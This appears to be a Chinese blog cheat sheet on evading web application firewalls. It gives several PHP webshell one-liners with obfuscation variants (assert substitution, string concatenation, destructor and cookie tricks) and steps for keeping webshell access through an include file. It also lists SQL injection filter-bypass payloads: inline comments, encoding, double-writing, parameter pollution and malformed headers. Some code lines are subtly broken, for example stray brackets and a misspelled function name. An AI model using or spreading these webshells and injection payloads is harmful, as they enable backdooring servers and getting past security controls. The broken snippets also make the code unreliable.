ByPass
阅读原文时间:2023年07月08日阅读:2

WebShell-ByPass

<?php eval($_REQUEST['a']]);?>

拦截进行替换

  1. 替换eval()
  • assert()
  1. 替换$_REQUEST['a']
  • 写$_REQUEST无报错,加上 '[]' 后报错

  • 利用end()绕过,end()函数的意义:输出数组中当前元素和最后一个元素的值

  • 当用菜刀连接时,无需密码

通过常量的定义

<?php
    define("a", "$_REQUEST[2]");
    eval(a);
?>

字符串拼接

<?php
    $a = 'ass';
    $b = 'ert';
    $c = $a.$b;
    $d = 'c';
    @$$d($_REQUEST['a']]);
?>

定义函数强行分割

<?php
    function a($a){
        return $a;
    }
    function b($b){
        return eval($b);
    }
    b(a($_REQUEST)['a']);
?>

定义类强行分割

<?php
    class User{
        public $name = '';
        function __destruct(){
            eval("$this->name");
        }
    }
    $user = new User;
    $user -> name = "._REQUEST[1]";
?>

多方式传参免杀

<?php
    $COOKIE = $_COOKIE;
    foreach($COOKIE as $key => $value){
        if($key == 'assert'){
            $key($_REQUEST[1]);
        }
    }
?>

返回所有函数进行绕过

<?php
    $a = get_define_function(); // 返回所有已定义函数的数组【是一个二维数组】
    $a[internal][841]($_REQUEST[1]); // 利用internal里面的第841个值【这个值就是assert,后面加个括号代表函数】
?>

绕过WAF的终极

  • 但数据库中必须有一个字段的值是eval($_REQUEST[a])

拿到WebShell后如何维持住权限

  1. 打开cmd命令行
  2. 输入 echo "<?php eval($_REQUEST[1]);?>" > /:1.txt
  3. 在新建一个1.php,写 <?php include('/:1.txt');?>包含一句话木马

替换绕过

union select 绕过

  1. 区别拦截哪个

    union
    select
    union select
  2. 内联注释

    union /*!select*/
    union /*!版本号select*/

and 绕过

  • 可以用&进行替换
  • 也可以URL编码一下

or 绕过

  • 可以利用xor&^||进行替换

空格 绕过

  • 可以用%20%0a%09%a0%0b%0c%0d+()/**/进行替换

= 绕过

  • 可以用likeregexpliker<>!=进行替换

函数替换

  • 用时百度

内联注释

MySql的注释方法

/**/

内联注释 —— 里面的东西可以执行

/*!*/

如:/*!版本号(10000-99999)*/

大小写绕过

and => And

双写绕过

  • 只检验一次

selselectect

特殊字符绕过

%0a(换行)

union /*!10044select*/ 1,2,3 -- 123 /*%oafrom admin#*/

反引号

  • 有些函数加了`后会运行

    sleep()、updatexml()、

?id=1 and sleep(5) // 被拦截

?id=1 and `sleep`(5)// 就不会被拦截

编码绕过

  1. URL编码
  2. HEX编码
  3. NATIVE编码

容器特性

Apache

  1. 参数污染

    http://127.0.0.1?id=1&id=2
    http://127.0.0.1?id=1/*&id=2*/

IIS

  1. %分割

    select
    s%e%l%e%c%t

白名单(XFF)

管理员权限或者是127.0.0.1访问

缓冲区溢出

改成POST数据包

部分中间件-ByPass

错误的HTTP请求

类似文件上传的绕过,通过畸形的HTTP协议头绕过WAF检测

老版本的WAF可以通过加入: Content-Encoding:deflate就可以绕过WAF

通过Java类关键字

将关键字转换成Unicode或者Hex编码方式,Java程序自动解码,在一定程度上可以绕过WAF

使用未公开的漏洞利用链

部分WAF会将公开的漏洞利用链设置为黑名单,只能自行寻找

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章